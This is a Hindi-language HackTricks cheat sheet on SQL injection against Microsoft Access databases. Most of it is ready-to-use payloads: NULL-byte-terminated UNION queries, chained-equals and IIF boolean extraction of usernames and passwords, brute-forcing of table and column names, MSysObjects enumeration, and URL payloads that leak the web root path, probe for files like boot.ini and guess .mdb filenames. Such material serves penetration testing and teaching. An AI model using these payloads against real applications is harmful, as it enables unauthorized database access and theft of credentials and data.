18 KiB
MS Access SQL इंजेक्शन
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord समूह में शामिल हों या टेलीग्राम समूह में या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
- अपनी हैकिंग ट्रिक्स साझा करें, HackTricks HackTricks और HackTricks Cloud github रेपोज में PRs सबमिट करके.
ऑनलाइन प्लेग्राउंड
DB सीमाएँ
स्ट्रिंग संयोजन
स्ट्रिंग संयोजन & (%26)
और + (%2b)
अक्षरों के साथ संभव है।
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
टिप्पणियाँ
MS access में कोई टिप्पणियाँ नहीं होती हैं, परंतु ऐसा प्रतीत होता है कि किसी क्वेरी के अंतिम भाग को NULL चरित्र के साथ हटाना संभव है:
1' union select 1,2 from table%00
यदि यह काम नहीं कर रहा है तो आप हमेशा क्वेरी के सिंटैक्स को ठीक कर सकते हैं:
1' UNION SELECT 1,2 FROM table WHERE ''='
स्टैक्ड क्वेरीज
ये समर्थित नहीं हैं।
LIMIT
LIMIT
ऑपरेटर लागू नहीं किया गया है। हालांकि, SELECT क्वेरी परिणामों को पहले N टेबल पंक्तियों तक सीमित करना संभव है TOP
ऑपरेटर का उपयोग करके। TOP
एक पूर्णांक को तर्क के रूप में स्वीकार करता है, जो लौटाए जाने वाले पंक्तियों की संख्या को दर्शाता है।
1' UNION SELECT TOP 3 attr FROM table%00
जैसे कि TOP
का उपयोग करते हैं, आप LAST
का उपयोग कर सकते हैं जो अंतिम पंक्तियों को प्राप्त करेगा।
UNION प्रश्न/उप प्रश्न
SQLi में आप आमतौर पर अन्य तालिकाओं से जानकारी निकालने के लिए एक नया प्रश्न निष्पादित करना चाहेंगे। MS Access हमेशा आवश्यकता होती है कि उप प्रश्नों या अतिरिक्त प्रश्नों में एक FROM
का संकेत दिया जाए।
इसलिए, यदि आप UNION SELECT
या UNION ALL SELECT
या एक शर्त में कोष्ठकों के बीच SELECT
निष्पादित करना चाहते हैं, तो आपको हमेशा एक मान्य तालिका नाम के साथ FROM
का संकेत देना होगा।
इसलिए, आपको एक मान्य तालिका नाम जानना आवश्यक है।
-1' UNION SELECT username,password from users%00
चेनिंग बराबर + सबस्ट्रिंग
{% hint style="warning" %} यह आपको वर्तमान तालिका के मानों को बिना तालिका के नाम को जाने निकालने की अनुमति देगा। {% endhint %}
MS Access जैसे अजीब सिंटैक्स की अनुमति देता है '1'=2='3'='asd'=false
. आमतौर पर SQL इंजेक्शन WHERE
क्लॉज के अंदर होगा और हम इसका दुरुपयोग कर सकते हैं।
कल्पना कीजिए कि आपके पास MS Access डेटाबेस में SQLi है और आप जानते हैं (या अनुमान लगाया है) कि एक कॉलम का नाम username है, और वही फील्ड है जिसे आप निकालना चाहते हैं। आप वेब ऐप की विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं जब चेनिंग बराबर तकनीक का उपयोग किया जाता है और संभवतः Mid
फंक्शन का उपयोग करके सबस्ट्रिंग प्राप्त करने के लिए बूलियन इंजेक्शन के साथ सामग्री निकाल सकते हैं।
'=(Mid(username,1,3)='adm')='
यदि आप टेबल का नाम और कॉलम जानते हैं जिसे डंप करना है, तो आप Mid
, LAST
और TOP
का संयोजन करके बूलियन SQLi के माध्यम से सभी जानकारी लीक कर सकते हैं:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
निम्नलिखित ऑनलाइन प्लेग्राउंड में जांच करने के लिए स्वतंत्र हैं।
टेबल नामों की ब्रूट-फोर्सिंग
चेनिंग इक्वल्स तकनीक का उपयोग करके आप टेबल नामों की ब्रूटफोर्स भी कर सकते हैं जैसे कि:
'=(select+top+1+'lala'+from+<table_name>)='
आप एक और पारंपरिक तरीका भी इस्तेमाल कर सकते हैं:
-1' AND (SELECT TOP 1 <table_name>)%00
ऑनलाइन प्लेग्राउंड में इसे जांचने के लिए स्वतंत्र रहें।
- Sqlmap सामान्य तालिका नाम: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- एक और सूची http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html में है
कॉलम नामों की ब्रूट-फोर्सिंग
आप वर्तमान कॉलम नामों को ब्रूट-फोर्स कर सकते हैं चेनिंग इक्वल्स ट्रिक के साथ:
'=column_name='
या group by के साथ:
-1' GROUP BY column_name%00
या आप अलग तालिका के कॉलम नामों को ब्रूट-फोर्स कर सकते हैं:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
डेटा डंप करना
हम पहले ही चेनिंग इक्वल्स तकनीक के बारे में चर्चा कर चुके हैं जिसका उपयोग वर्तमान और अन्य टेबल्स से डेटा डंप करने के लिए किया जाता है। लेकिन अन्य तरीके भी हैं:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
संक्षेप में, क्वेरी "यदि-तब" कथन का उपयोग करती है ताकि सफलता की स्थिति में "200 OK" ट्रिगर किया जा सके या अन्यथा "500 आंतरिक त्रुटि" हो। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन संभव है। बाद में LAST का उपयोग करके केवल 10वें ट्यूपल पर विचार किया जा सकता है। ऐसे मूल्य पर, MID ऑपरेटर का उपयोग करके, एक सरल अक्षर तुलना की जा सकती है। MID और TOP के सूचकांक को उचित रूप से बदलकर, हम "username" फील्ड की सभी पंक्तियों की सामग्री को डंप कर सकते हैं।
समय आधारित
अन्य रोचक फंक्शन्स
Mid('admin',1,1)
स्थिति 1 से लंबाई 1 का उपस्ट्रिंग प्राप्त करें (प्रारंभिक स्थिति 1 है)LEN('1234')
स्ट्रिंग की लंबाई प्राप्त करेंASC('A')
अक्षर का आस्की मान प्राप्त करेंCHR(65)
आस्की मान से स्ट्रिंग प्राप्त करेंIIF(1=1,'a','b')
यदि तबCOUNT(*)
आइटमों की संख्या गिनें
टेबल्स की गणना
यहाँ से आप डेटाबेस में टेबल्स के नाम प्राप्त करने के लिए क्वेरी देख सकते हैं:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
हालांकि, ध्यान दें कि SQL Injections खोजना बहुत सामान्य है जहां आपके पास MSysObjects
तालिका को पढ़ने की पहुंच नहीं होती।
FileSystem पहुंच
वेब रूट डायरेक्टरी का पूरा पथ
वेब रूट के पूर्ण पथ की जानकारी आगे के हमलों को सुगम बना सकती है। यदि एप्लिकेशन त्रुटियां पूरी तरह से छिपी नहीं हैं, तो निर्मित नहीं किए गए डेटाबेस से डेटा चुनने की कोशिश करके डायरेक्टरी पथ का पता लगाया जा सकता है।
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access वेब डायरेक्टरी के पूर्ण पथनाम के साथ एक त्रुटि संदेश प्रतिक्रिया करता है।
फाइल एन्यूमरेशन
निम्नलिखित हमला वेक्टर का उपयोग दूरस्थ फाइलसिस्टम पर एक फाइल के अस्तित्व का अनुमान लगाने के लिए किया जा सकता है। यदि निर्दिष्ट फाइल मौजूद है, तो MS Access एक त्रुटि संदेश ट्रिगर करता है जो सूचित करता है कि डेटाबेस प्रारूप अमान्य है:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
फाइलों को एन्यूमरेट करने का एक और तरीका एक डेटाबेस.टेबल आइटम को निर्दिष्ट करने में होता है। यदि निर्दिष्ट फाइल मौजूद है, MS Access एक डेटाबेस प्रारूप त्रुटि संदेश प्रदर्शित करता है।
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb फाइल नाम अनुमान
डेटाबेस फाइल नाम (.mdb) निम्नलिखित क्वेरी के साथ अनुमान लगाया जा सकता है:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
जहां name[i] एक .mdb फाइलनाम है और realTable डेटाबेस के भीतर एक मौजूद टेबल है। हालांकि MS Access हमेशा एक त्रुटि संदेश ट्रिगर करेगा, यह संभव है कि एक अमान्य फाइलनाम और एक मान्य .mdb फाइलनाम के बीच अंतर किया जा सके।
.mdb पासवर्ड क्रैकर
Access PassView एक मुफ्त उपयोगिता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 के मुख्य डेटाबेस पासवर्ड को पुनः प्राप्त करने के लिए किया जा सकता है।
संदर्भ
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें।
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह।
- 💬 Discord group में शामिल हों या telegram group में शामिल हों या मुझे Twitter 🐦 पर फॉलो करें @carlospolopm.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।